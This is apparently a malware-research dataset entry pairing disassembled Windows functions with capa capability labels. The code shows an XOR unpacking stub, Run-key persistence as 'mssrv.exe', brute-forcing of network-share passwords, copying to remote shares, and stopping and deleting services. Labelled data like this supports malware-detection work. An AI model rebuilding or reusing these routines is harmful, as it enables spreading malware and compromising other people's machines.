joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x408179
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x408179
lcall 0x5de5, 0x8b10c483
jmp fcn.0082d860
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408f6c
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x30ab3b0c
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e3d0
nop
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x7ad72c5b
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x401080
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
push esi
push edi
lea edi, [ebp - 3]
mov esi, section..rdata
mov ecx, 3
rep movsb byte es:[edi], byte [esi]
xor ebx, ebx
mov eax, ebx
movsx eax, al
add eax, 0x41
mov byte [ebp - 3], al
lea eax, [ebp - 3]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [ebp + ebx*4 - 0x6c], eax
add ebx, 1
cmp ebx, 0x1a
jl 0x40109a
mov edi, dword [ebp + 8]
lea esi, [ebp - 0x6c]
nop
nop
push 0x1a
pop ecx
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4010d0
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push esi
push edi
lea edi, [ebp - 0x1fe]
mov esi, 0x40c003
push 0x3f
pop ecx
nop
nop
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xff]
mov esi, 0x40c102
mov ecx, 0x3f
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x214], 0xff
lea edi, [ebp - 0x208]
mov esi, 0x40c201
nop
push 2
nop
pop ecx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x209]
mov esi, 0x40c20b
push 1
pop ecx
nop
nop
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x21c]
mov esi, 0x40c20c
nop
push 8
nop
pop ecx
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x1fe]
push eax
lea eax, [ebp - 0x209]
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHELL32.dll_FindExecutableA]
cmp eax, 0x20
jbe 0x4011e4
lea eax, [ebp - 0x210]
push eax
push 1
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4011e4
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0xff]
push eax
push 0
push 0
lea eax, [ebp - 0x21c]
push eax
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
or eax, eax
jne 0x4011e4
push 0xa
lea eax, [ebp - 0x1fe]
push eax
lea eax, [ebp - 0xff]
push eax
call fcn.00403730
add esp, 0xc
or eax, eax
jne 0x4011e4
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pushfd
xor eax, eax
inc eax
popfd
jmp 0x4011f3
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401200
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push esi
push edi
lea edi, [ebp - 0x32]
mov esi, 0x40c214
mov ecx, 0xb
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x3a]
mov esi, 0x40c242
nop
push 8
nop
pop ecx
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 4]
push eax
push 2
push 0
lea eax, [ebp - 0x32]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401279
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
push 1
push 0
lea eax, [ebp - 0x3a]
push eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x40126f
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x40127e
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pushfd
xor eax, eax
inc eax
popfd
pop edi
pop esi
push ebp
pop esp
pop ebp
ret

Function at 0x401290
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x40
push esi
push edi
lea edi, [ebp - 0x36]
mov esi, 0x40c24a
nop
nop
push 0xb
pop ecx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x3e]
mov esi, str.mssrv32
mov ecx, 8
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 4]
push eax
push reloc.WS2_32.dll_bind
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryA]
test eax, eax
jne 0x40131f
lea eax, [ebp - 8]
push eax
push 2
push 0
lea eax, [ebp - 0x36]
push eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
or eax, eax
jne 0x401329
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
push 1
push 0
lea eax, [ebp - 0x3e]
push eax
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
or eax, eax
jne 0x401329
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
sub eax, eax
jmp 0x401338
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pushfd
xor eax, eax
inc eax
popfd
pop edi
pop esi
push ebp
pop esp
pop ebp
ret

Function at 0x401340
Capabilities:
Get common file path

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x100
call fcn.004010d0
cmp eax, 1
je 0x4013a4
push 0xff
lea eax, [ebp - 0xff]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.mssrv.exe
lea eax, [ebp - 0xff]
push eax
call fcn.00403780
add esp, 8
lea eax, [ebp - 0xff]
push eax
mov eax, dword [ebp + 8]
push eax
call fcn.00401d90
add esp, 8
or eax, eax
jne 0x4013a4
push 0xff
lea eax, [ebp - 0xff]
push eax
call fcn.00401200
add esp, 8
push ebp
pop esp
pop ebp
ret
Function at 0x4013b0
Capabilities:
Connect network resource

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x39c
push ebx
push esi
push edi
xor ebx, ebx
lea edi, [ebp - 0x74]
mov esi, 0x40c280
push 0x1d
pop ecx
nop
nop
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x39c], eax
lea ecx, [ebp - 0x193]
mov edx, eax
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
jne 0x4013e1
pop eax
lea ecx, [ebp - 0x292]
mov eax, dword [ebp - 0x39c]
mov edx, eax
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
jne 0x4013ff
pop eax
lea eax, [ebp - 0x292]
push eax
call fcn.00401cf0
pop ecx
mov dword [ebp - 0x94], 2
mov dword [ebp - 0x90], 1
mov dword [ebp - 0x8c], 3
mov dword [ebp - 0x88], 1
mov dword [ebp - 0x84], 0
lea eax, [ebp - 0x193]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0
push 0
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp + 0x14]
push eax
lea eax, [ebp - 0x94]
push eax
call sub.MPR.dll_WNetAddConnection2A
mov dword [ebp - 0x398], eax
jmp 0x401483
add ebx, 1
mov eax, dword [ebp + ebx*4 - 0x74]
test eax, eax
jne 0x401480
push ebx
push 0
call fcn.00401c90
add esp, 8
lea ecx, [ebp - 0x391]
mov edx, dword [ebp + eax*4 - 0x74]
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
jne 0x4014a3
pop eax
push 0x40c33c
mov eax, dword [ebp + 0xc]
push eax
call fcn.00403780
add esp, 8
lea eax, [ebp - 0x391]
push eax
mov eax, dword [ebp + 0xc]
push eax
call fcn.00403780
add esp, 8
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
call fcn.00401d90
add esp, 8
or eax, eax
jne 0x401511
lea eax, [ebp - 0x292]
push eax
push 4
mov eax, dword [ebp + 8]
push eax
call fcn.00401290
add esp, 0xc
push 1
push 1
lea eax, [ebp - 0x193]
push eax
call sub.MPR.dll_WNetCancelConnection2A
xor eax, eax
jmp 0x401526
push 1
push 1
lea eax, [ebp - 0x193]
push eax
call sub.MPR.dll_WNetCancelConnection2A
push 1
pop eax
pushal
popal
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret

Function at 0x401530
Capabilities:
Get hostname

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x104
push ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x104], 0xff
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0xff]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push ebx
pop ecx
mov edx, 0x40c339
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
jne 0x401565
pop eax
lea eax, [ebp - 0xff]
push eax
push ebx
call fcn.00403780
add esp, 8
pop ebx
push ebp
pop esp
pop ebp
ret
Function at 0x401b90
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
xor ebx, ebx
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
call fcn.00401cb0
cmp eax, 4
jb 0x401c86
push 0
call fcn.00404760
pop ecx
push eax
call fcn.004047b0
pop ecx
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x4027b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x4026b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x402830
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.00402430
call fcn.00403680
mov ecx, 0x3e8
cdq
idiv ecx
lea eax, [edx + 1]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0xc], 0xc
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
push str.mutex666
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov ebx, eax
test ebx, ebx
je 0x401c57
push ebx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x401c73
push str.mutex666
push 0
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push eax
pop ebx
test ebx, ebx
je 0x401c73
call fcn.00401a70
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or ebx, ebx
jne 0x401c36
xor eax, eax
pop ebx
push ebp
pop esp
pop ebp
ret 0x10
Function at 0x401d90
Capabilities:
Read file via mapping
Write file on windows

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 8], 0
sub ebx, ebx
call fcn.00403680
and eax, 0x1fffff
lea esi, [eax + 0x400]
lea eax, [esi*4]
push eax
call fcn.00403dc0
pop ecx
mov ebx, eax
push 0
push 0
push 3
push 0
push 1
push bind
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10], eax
push 0
push 0
push 0
push 2
push 0
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0x14], eax
push 0
push 0
push 0
push 4
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x18], eax
mov dword [ebp - 8], eax
push 0
push pe_nt_image_headers32
push 2
push 0
push 1
push 0xc0000000
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
push 0
lea eax, [ebp - 0x1c]
push eax
push 0x14dfc
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0xc], eax
or eax, eax
je 0x401e92
test ebx, ebx
je 0x401e92
sub edi, edi
jmp 0x401e67
call fcn.00403680
mov ecx, bind
cdq
idiv ecx
mov dword [ebx + edi*4], edx
add edi, 1
mov eax, edi
cmp eax, esi
jb 0x401e54
push 2
push 0
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x1c]
push eax
push esi
push ebx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0x20], eax
push ebx
call fcn.00404670
pop ecx
xor ebx, ebx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0xc], 0
je 0x401ed3
cmp dword [ebp - 0x20], 0
je 0x401ed3
sub eax, eax
jmp 0x401ed8
pushfd
xor eax, eax
inc eax
popfd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4020b0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
push 0x416f54
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4021c5
sub eax, eax
jmp 0x4021d6
test byte [0x416f54], 0x10
je 0x4021b3
mov ecx, 0x416f80
mov edx, 0x40c9e3
xor eax, eax
mov al, byte [edx]
mov ah, byte [ecx]
sub ah, al
jne 0x40210a
test al, al
je 0x40210f
add edx, 1
add ecx, 1
jmp 0x4020f6
sbb eax, eax
sbb eax, 0xffffffff
or eax, eax
je 0x4021b3
mov ecx, 0x416f80
mov edx, 0x40c9e0
xor eax, eax
mov al, byte [edx]
mov ah, byte [ecx]
sub ah, al
jne 0x402137
test al, al
je 0x40213c
add edx, 1
add ecx, 1
jmp 0x402123
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4021b3
push 3
push ebx
call fcn.00401ee0
add esp, 8
lea ecx, [ebp - 0x400]
mov edx, eax
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
jne 0x402156
pop eax
push 0x416f80
lea eax, [ebp - 0x400]
push eax
call fcn.00403780
add esp, 8
push 0x416f80
lea eax, [ebp - 0x400]
push eax
call fcn.00401f60
add esp, 8
push str..
lea eax, [ebp - 0x400]
push eax
call fcn.00403780
add esp, 8
lea eax, [ebp - 0x400]
push eax
call fcn.004020b0
pop ecx
mov byte [ebp - 0x400], 0
push 0x416f54
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov esi, eax
or esi, esi
je 0x4021cd
or esi, esi
jne 0x4020dd
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub eax, eax
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret

Function at 0x402430
Capabilities:
Modify service
Start service

Disassembly:
push ebp
push esp
pop ebp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 4], 0x64
sub edi, edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
push ebx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov dword [ebp - 8], eax
or ebx, ebx
je 0x4024bd
push 0
push str.Messenger
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x4024b6
push 0x40ca74
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 2
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
or eax, eax
je 0x4024b6
jmp 0x4024ae
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
cmp edi, 0xc8
jl 0x402499
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4024e0
Capabilities:
Delete service
Enumerate services
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], 0
sub esi, esi
mov dword [ebp - 0x108], 1
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push eax
pop ebx
mov dword [ebp - 0x10c], 0
test ebx, ebx
je 0x40269c
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x138]
push eax
push 0x24
lea eax, [ebp - 0x134]
push eax
push 1
push 0x30
push ebx
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
mov dword [ebp - 0x108], eax
or eax, eax
je 0x402568
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x40269c
mov eax, dword [ebp - 0x138]
push eax
call fcn.00403dc0
pop ecx
push eax
pop esi
test esi, esi
je 0x402693
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x402693
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x138]
push eax
mov eax, dword [ebp - 0x138]
add eax, 0x24
push eax
push esi
push 1
push 0x30
push ebx
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
or eax, eax
je 0x402693
sub edi, edi
jmp 0x402685
lea ecx, [ebp - 0x103]
imul eax, edi, 0x24
mov edx, dword [esi + eax]
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
jne 0x4025d6
pop eax
lea edx, [ebp - 0x103]
or eax, 0xffffffff
add eax, 1
cmp byte [edx + eax], 0
jne 0x4025ec
push eax
lea eax, [ebp - 0x103]
push eax
call fcn.004023d0
add esp, 8
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x103]
push eax
call fcn.004047d0
add esp, 8
or eax, eax
je 0x402682
push 0x20
imul eax, edi, 0x24
mov eax, dword [esi + eax]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
test eax, eax
je 0x402678
lea eax, [ebp - 0x154]
push eax
push 1
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x10000
imul eax, edi, 0x24
mov eax, dword [esi + eax]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
add edi, 1
mov eax, edi
cmp eax, dword [ebp - 0x110]
jb 0x4025c7
push esi
call fcn.00404670
pop ecx
sub esi, esi
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402a20
Capabilities:
Connect network resource

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x24
push ebx
push esi
push edi
mov ebx, dword [ebp + 0x10]
mov byte [0x4159c8], 0x61
mov byte [0x4159c9], 0
mov dword [ebp - 0x24], 2
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
inc byte [0x4159c8]
cmp byte [0x4159c8], 0x7a
jle 0x402a8f
push 1
call fcn.00402ca0
pop ecx
push 0
mov eax, dword [ebp + 0xc]
push eax
push 0x4159c8
lea eax, [ebp - 0x24]
push eax
call sub.MPR.dll_WNetAddConnection2A
mov esi, eax
cmp esi, 0x4b8
jne 0x402abf
push 1
push 1
push 0
call sub.MPR.dll_WNetCancelConnection2A
push 2
pop eax
nop
nop
jmp 0x402b18
test esi, esi
je 0x402ac8
cmp esi, 0x55
jne 0x402af8
xor edi, edi
jmp 0x402ad8
mov al, byte [edi + 0x4159c8]
mov byte [ebx + edi], al
add edi, 1
push 0x4159c8
call fcn.00404b00
pop ecx
mov edx, edi
cmp edx, eax
jbe 0x402acc
push 1
push 1
push 0
call sub.MPR.dll_WNetCancelConnection2A
xor eax, eax
jmp 0x402b18
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x3d09
jl 0x402a78
push 1
push 1
push 0
call sub.MPR.dll_WNetCancelConnection2A
pushfd
xor eax, eax
inc eax
popfd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402b20
Capabilities:
Connect network resource

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
mov ebx, dword [ebp + 0x10]
xor esi, esi
mov dword [ebp - 0x24], 2
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
jmp 0x402bf1
push 0
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [esi*4 + 0x413600]
push eax
lea eax, [ebp - 0x24]
push eax
call sub.MPR.dll_WNetAddConnection2A
mov dword [ebp - 4], eax
cmp eax, 0x4b8
jne 0x402ba0
push 1
push 1
push 0
call sub.MPR.dll_WNetCancelConnection2A
push 2
pop eax
push esi
pop esi
jmp 0x402c15
mov eax, dword [ebp - 4]
test eax, eax
je 0x402bac
cmp eax, 0x55
jne 0x402bee
sub edi, edi
jmp 0x402bc0
mov eax, dword [esi*4 + 0x413600]
mov al, byte [eax + edi]
mov byte [ebx + edi], al
add edi, 1
push edi
pop eax
mov dword [ebp - 0x28], eax
mov edx, dword [esi*4 + 0x413600]
or eax, 0xffffffff
add eax, 1
cmp byte [edx + eax], 0
jne 0x402bcf
mov edx, dword [ebp - 0x28]
cmp edx, eax
jbe 0x402bb0
push 1
push 1
push 0
call sub.MPR.dll_WNetCancelConnection2A
xor eax, eax
jmp 0x402c15
add esi, 1
mov eax, dword [esi*4 + 0x413600]
mov edx, 0x40d2f8
cmp eax, edx
jne 0x402b6a
push 1
push 1
push 0
call sub.MPR.dll_WNetCancelConnection2A
push 1
pop eax
push ebx
pop ebx
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret